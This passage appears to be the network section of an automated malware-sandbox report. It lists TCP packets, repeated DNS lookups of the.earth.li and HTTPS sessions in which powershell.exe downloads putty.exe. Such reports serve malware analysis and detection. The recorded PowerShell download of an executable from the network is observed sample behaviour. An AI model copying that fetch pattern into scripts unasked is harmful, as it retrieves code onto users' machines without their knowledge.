                                                                                                                                                  Dec 4, 2022 12:12:23.501656055 CET4434975393.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:12:23.501902103 CET49753443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:12:23.517901897 CET49753443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:12:23.517952919 CET4434975393.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:12:23.518392086 CET4434975393.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:12:23.540829897 CET49753443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:12:23.540874004 CET4434975393.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:12:23.579134941 CET4434975393.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:12:23.579240084 CET4434975393.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:12:23.579310894 CET49753443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:12:23.580126047 CET49753443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:12:23.587474108 CET49754443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:12:23.587542057 CET4434975493.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:12:23.587654114 CET49754443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:12:23.588108063 CET49754443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:12:23.588130951 CET4434975493.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:12:23.694113970 CET4434975493.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:12:23.697709084 CET49754443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:12:23.697757006 CET4434975493.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:12:23.762275934 CET4434975493.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:12:23.762329102 CET4434975493.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:12:23.762411118 CET49754443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:12:23.762444973 CET4434975493.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:12:23.767592907 CET49754443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:12:59.744118929 CET49755443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:12:59.744204044 CET4434975593.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:12:59.744292974 CET49755443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:12:59.765971899 CET49755443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:12:59.766038895 CET4434975593.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:12:59.879827023 CET4434975593.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:12:59.879987001 CET49755443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:12:59.882508993 CET49755443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:12:59.882534981 CET4434975593.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:12:59.883647919 CET4434975593.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:12:59.903873920 CET49755443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:12:59.903918028 CET4434975593.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:12:59.943161964 CET4434975593.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:12:59.943334103 CET4434975593.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:12:59.943413019 CET49755443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:12:59.943945885 CET49755443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:12:59.947537899 CET49756443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:12:59.947603941 CET4434975693.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:12:59.947704077 CET49756443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:12:59.948038101 CET49756443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:12:59.948080063 CET4434975693.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:13:00.062756062 CET4434975693.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:13:00.064959049 CET49756443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:13:00.065016031 CET4434975693.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:13:00.127743959 CET4434975693.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:13:00.127796888 CET4434975693.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:13:00.127890110 CET49756443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:13:00.127918959 CET4434975693.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:13:00.129988909 CET49756443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:13:34.773577929 CET49757443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:13:34.773627996 CET4434975793.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:13:34.773720026 CET49757443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:13:34.783016920 CET49757443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:13:34.783057928 CET4434975793.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:13:34.874950886 CET4434975793.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:13:34.875055075 CET49757443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:13:34.877571106 CET49757443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:13:34.877598047 CET4434975793.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:13:34.878148079 CET4434975793.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:13:34.900981903 CET49757443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:13:34.901004076 CET4434975793.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:13:34.938039064 CET4434975793.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:13:34.938213110 CET4434975793.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:13:34.938271046 CET49757443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:13:34.938694954 CET49757443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:13:34.939785957 CET49758443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:13:34.939851046 CET4434975893.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:13:34.939934015 CET49758443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:13:34.940249920 CET49758443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:13:34.940282106 CET4434975893.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:13:35.041718006 CET4434975893.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:13:35.044869900 CET49758443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:13:35.044907093 CET4434975893.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:13:35.106936932 CET4434975893.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:13:35.107050896 CET4434975893.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:13:35.107136965 CET49758443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:13:35.107178926 CET4434975893.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:13:35.111320019 CET49758443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:14:11.495742083 CET49759443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:14:11.495820045 CET4434975993.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:14:11.495908022 CET49759443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:14:11.505218983 CET49759443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:14:11.505256891 CET4434975993.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:14:11.615803003 CET4434975993.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:14:11.615897894 CET49759443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:14:11.626995087 CET49759443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:14:11.627031088 CET4434975993.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:14:11.627744913 CET4434975993.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:14:11.646373034 CET49759443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:14:11.646411896 CET4434975993.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:14:11.681740999 CET4434975993.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:14:11.681879997 CET4434975993.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:14:11.681948900 CET49759443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:14:11.682410002 CET49759443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:14:11.683417082 CET49760443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:14:11.683497906 CET4434976093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:14:11.683597088 CET49760443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:14:11.683931112 CET49760443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:14:11.683988094 CET4434976093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:14:11.774501085 CET4434976093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:14:11.776462078 CET49760443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:14:11.776515007 CET4434976093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:14:11.839658976 CET4434976093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:14:11.839740992 CET4434976093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:14:11.839829922 CET49760443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:14:11.839881897 CET4434976093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:14:11.842081070 CET49760443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:14:52.060702085 CET49761443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:14:52.060775042 CET4434976193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:14:52.060885906 CET49761443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:14:52.064373970 CET49761443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:14:52.064404011 CET4434976193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:14:52.174582958 CET4434976193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:14:52.174715042 CET49761443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:14:52.176582098 CET49761443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:14:52.176597118 CET4434976193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:14:52.177454948 CET4434976193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:14:52.182467937 CET49761443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:14:52.182480097 CET4434976193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:14:52.237910986 CET4434976193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:14:52.238056898 CET4434976193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:14:52.238440990 CET49761443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:14:52.238615036 CET49761443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:14:52.239429951 CET49762443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:14:52.239499092 CET4434976293.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:14:52.239598036 CET49762443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:14:52.239929914 CET49762443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:14:52.239974022 CET4434976293.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:14:52.352305889 CET4434976293.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:14:52.401776075 CET49762443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:14:52.401822090 CET4434976293.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:14:52.437743902 CET4434976293.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:14:52.437830925 CET4434976293.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:14:52.437848091 CET4434976293.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:14:52.437911987 CET49762443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:14:52.437949896 CET4434976293.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:14:52.437978983 CET49762443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:14:52.439403057 CET49762443192.168.2.393.93.131.124

                                                                                                                                                  UDP Packets

                                                                                                                                                  TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                  Dec 4, 2022 12:05:56.907921076 CET5799053192.168.2.38.8.8.8
                                                                                                                                                  Dec 4, 2022 12:05:56.927194118 CET53579908.8.8.8192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:08.494337082 CET5238753192.168.2.38.8.8.8
                                                                                                                                                  Dec 4, 2022 12:06:08.514309883 CET53523878.8.8.8192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:12.302277088 CET5692453192.168.2.38.8.8.8
                                                                                                                                                  Dec 4, 2022 12:06:12.321561098 CET53569248.8.8.8192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:19.905052900 CET6062553192.168.2.38.8.8.8
                                                                                                                                                  Dec 4, 2022 12:06:19.922585011 CET53606258.8.8.8192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:27.940740108 CET4930253192.168.2.38.8.8.8
                                                                                                                                                  Dec 4, 2022 12:06:27.960360050 CET53493028.8.8.8192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:38.438869953 CET5397553192.168.2.38.8.8.8
                                                                                                                                                  Dec 4, 2022 12:06:38.456780910 CET53539758.8.8.8192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:51.138170004 CET5113953192.168.2.38.8.8.8
                                                                                                                                                  Dec 4, 2022 12:06:51.157512903 CET53511398.8.8.8192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:09.043278933 CET5295553192.168.2.38.8.8.8
                                                                                                                                                  Dec 4, 2022 12:07:09.062927008 CET53529558.8.8.8192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:25.428874016 CET6058253192.168.2.38.8.8.8
                                                                                                                                                  Dec 4, 2022 12:07:25.446450949 CET53605828.8.8.8192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:43.083144903 CET5713453192.168.2.38.8.8.8
                                                                                                                                                  Dec 4, 2022 12:07:43.102032900 CET53571348.8.8.8192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:01.241962910 CET6205053192.168.2.38.8.8.8
                                                                                                                                                  Dec 4, 2022 12:08:01.275760889 CET53620508.8.8.8192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:20.976408958 CET5604253192.168.2.38.8.8.8
                                                                                                                                                  Dec 4, 2022 12:08:20.996439934 CET53560428.8.8.8192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:46.819705963 CET5963653192.168.2.38.8.8.8
                                                                                                                                                  Dec 4, 2022 12:08:46.837131977 CET53596368.8.8.8192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:09:16.445884943 CET5563853192.168.2.38.8.8.8
                                                                                                                                                  Dec 4, 2022 12:09:16.465509892 CET53556388.8.8.8192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:09:40.231570959 CET5770453192.168.2.38.8.8.8
                                                                                                                                                  Dec 4, 2022 12:09:40.251262903 CET53577048.8.8.8192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:10:11.477601051 CET6532053192.168.2.38.8.8.8
                                                                                                                                                  Dec 4, 2022 12:10:11.498589039 CET53653208.8.8.8192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:10:38.682018042 CET6076753192.168.2.38.8.8.8
                                                                                                                                                  Dec 4, 2022 12:10:38.699805975 CET53607678.8.8.8192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:11.276024103 CET5384853192.168.2.38.8.8.8
                                                                                                                                                  Dec 4, 2022 12:11:11.293838024 CET53538488.8.8.8192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:46.793123960 CET5694953192.168.2.38.8.8.8
                                                                                                                                                  Dec 4, 2022 12:11:46.812508106 CET53569498.8.8.8192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:12:23.322580099 CET5384453192.168.2.38.8.8.8
                                                                                                                                                  Dec 4, 2022 12:12:23.339870930 CET53538448.8.8.8192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:12:59.706125021 CET6501753192.168.2.38.8.8.8
                                                                                                                                                  Dec 4, 2022 12:12:59.725790024 CET53650178.8.8.8192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:13:34.705316067 CET5346653192.168.2.38.8.8.8
                                                                                                                                                  Dec 4, 2022 12:13:34.724473000 CET53534668.8.8.8192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:14:11.451714039 CET5774353192.168.2.38.8.8.8
                                                                                                                                                  Dec 4, 2022 12:14:11.469310045 CET53577438.8.8.8192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:14:52.032318115 CET5362353192.168.2.38.8.8.8
                                                                                                                                                  Dec 4, 2022 12:14:52.051832914 CET53536238.8.8.8192.168.2.3

                                                                                                                                                  DNS Queries

                                                                                                                                                  TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                                  Dec 4, 2022 12:05:56.907921076 CET192.168.2.38.8.8.80x9313Standard query (0)the.earth.liA (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:06:08.494337082 CET192.168.2.38.8.8.80xe9feStandard query (0)the.earth.liA (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:06:12.302277088 CET192.168.2.38.8.8.80x5a19Standard query (0)the.earth.liA (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:06:19.905052900 CET192.168.2.38.8.8.80xd5c1Standard query (0)the.earth.liA (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:06:27.940740108 CET192.168.2.38.8.8.80x3fccStandard query (0)the.earth.liA (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:06:38.438869953 CET192.168.2.38.8.8.80xe56Standard query (0)the.earth.liA (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:06:51.138170004 CET192.168.2.38.8.8.80x92c5Standard query (0)the.earth.liA (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:07:09.043278933 CET192.168.2.38.8.8.80x9d0aStandard query (0)the.earth.liA (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:07:25.428874016 CET192.168.2.38.8.8.80xed79Standard query (0)the.earth.liA (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:07:43.083144903 CET192.168.2.38.8.8.80x3d3Standard query (0)the.earth.liA (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:08:01.241962910 CET192.168.2.38.8.8.80x1ae0Standard query (0)the.earth.liA (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:08:20.976408958 CET192.168.2.38.8.8.80x11d7Standard query (0)the.earth.liA (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:08:46.819705963 CET192.168.2.38.8.8.80xc8c8Standard query (0)the.earth.liA (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:09:16.445884943 CET192.168.2.38.8.8.80x71c9Standard query (0)the.earth.liA (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:09:40.231570959 CET192.168.2.38.8.8.80xb0a3Standard query (0)the.earth.liA (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:10:11.477601051 CET192.168.2.38.8.8.80x6b6aStandard query (0)the.earth.liA (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:10:38.682018042 CET192.168.2.38.8.8.80xadbfStandard query (0)the.earth.liA (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:11:11.276024103 CET192.168.2.38.8.8.80xdb9aStandard query (0)the.earth.liA (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:11:46.793123960 CET192.168.2.38.8.8.80xf6f1Standard query (0)the.earth.liA (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:12:23.322580099 CET192.168.2.38.8.8.80x1022Standard query (0)the.earth.liA (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:12:59.706125021 CET192.168.2.38.8.8.80x82c2Standard query (0)the.earth.liA (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:13:34.705316067 CET192.168.2.38.8.8.80xcea0Standard query (0)the.earth.liA (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:14:11.451714039 CET192.168.2.38.8.8.80x1200Standard query (0)the.earth.liA (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:14:52.032318115 CET192.168.2.38.8.8.80x6624Standard query (0)the.earth.liA (IP address)IN (0x0001)false

                                                                                                                                                  DNS Answers

                                                                                                                                                  TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                                  Dec 4, 2022 12:05:56.927194118 CET8.8.8.8192.168.2.30x9313No error (0)the.earth.li93.93.131.124A (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:06:08.514309883 CET8.8.8.8192.168.2.30xe9feNo error (0)the.earth.li93.93.131.124A (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:06:12.321561098 CET8.8.8.8192.168.2.30x5a19No error (0)the.earth.li93.93.131.124A (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:06:19.922585011 CET8.8.8.8192.168.2.30xd5c1No error (0)the.earth.li93.93.131.124A (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:06:27.960360050 CET8.8.8.8192.168.2.30x3fccNo error (0)the.earth.li93.93.131.124A (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:06:38.456780910 CET8.8.8.8192.168.2.30xe56No error (0)the.earth.li93.93.131.124A (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:06:51.157512903 CET8.8.8.8192.168.2.30x92c5No error (0)the.earth.li93.93.131.124A (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:07:09.062927008 CET8.8.8.8192.168.2.30x9d0aNo error (0)the.earth.li93.93.131.124A (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:07:25.446450949 CET8.8.8.8192.168.2.30xed79No error (0)the.earth.li93.93.131.124A (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:07:43.102032900 CET8.8.8.8192.168.2.30x3d3No error (0)the.earth.li93.93.131.124A (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:08:01.275760889 CET8.8.8.8192.168.2.30x1ae0No error (0)the.earth.li93.93.131.124A (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:08:20.996439934 CET8.8.8.8192.168.2.30x11d7No error (0)the.earth.li93.93.131.124A (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:08:46.837131977 CET8.8.8.8192.168.2.30xc8c8No error (0)the.earth.li93.93.131.124A (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:09:16.465509892 CET8.8.8.8192.168.2.30x71c9No error (0)the.earth.li93.93.131.124A (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:09:40.251262903 CET8.8.8.8192.168.2.30xb0a3No error (0)the.earth.li93.93.131.124A (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:10:11.498589039 CET8.8.8.8192.168.2.30x6b6aNo error (0)the.earth.li93.93.131.124A (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:10:38.699805975 CET8.8.8.8192.168.2.30xadbfNo error (0)the.earth.li93.93.131.124A (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:11:11.293838024 CET8.8.8.8192.168.2.30xdb9aNo error (0)the.earth.li93.93.131.124A (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:11:46.812508106 CET8.8.8.8192.168.2.30xf6f1No error (0)the.earth.li93.93.131.124A (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:12:23.339870930 CET8.8.8.8192.168.2.30x1022No error (0)the.earth.li93.93.131.124A (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:12:59.725790024 CET8.8.8.8192.168.2.30x82c2No error (0)the.earth.li93.93.131.124A (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:13:34.724473000 CET8.8.8.8192.168.2.30xcea0No error (0)the.earth.li93.93.131.124A (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:14:11.469310045 CET8.8.8.8192.168.2.30x1200No error (0)the.earth.li93.93.131.124A (IP address)IN (0x0001)false
                                                                                                                                                  Dec 4, 2022 12:14:52.051832914 CET8.8.8.8192.168.2.30x6624No error (0)the.earth.li93.93.131.124A (IP address)IN (0x0001)false

                                                                                                                                                  HTTP Request Dependency Graph

                                                                                                                                                  • the.earth.li

                                                                                                                                                  HTTPS Proxied Packets

                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  0192.168.2.34970093.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:05:57 UTC0OUTGET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                  2022-12-04 11:05:57 UTC0INHTTP/1.1 302 Found
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:05:57 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Location: https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe
                                                                                                                                                  Content-Length: 302
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                  2022-12-04 11:05:57 UTC0INData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 68 65 2e 65 61 72 74 68 2e 6c 69 2f 7e 73 67 74 61 74 68 61 6d 2f 70 75 74 74 79 2f 30 2e 37 38 2f 77 33 32 2f 70 75 74 74 79 2e 65 78 65 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20
                                                                                                                                                  Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe">here</a>.</p><hr><address>Apache Server at


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  1192.168.2.34970193.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
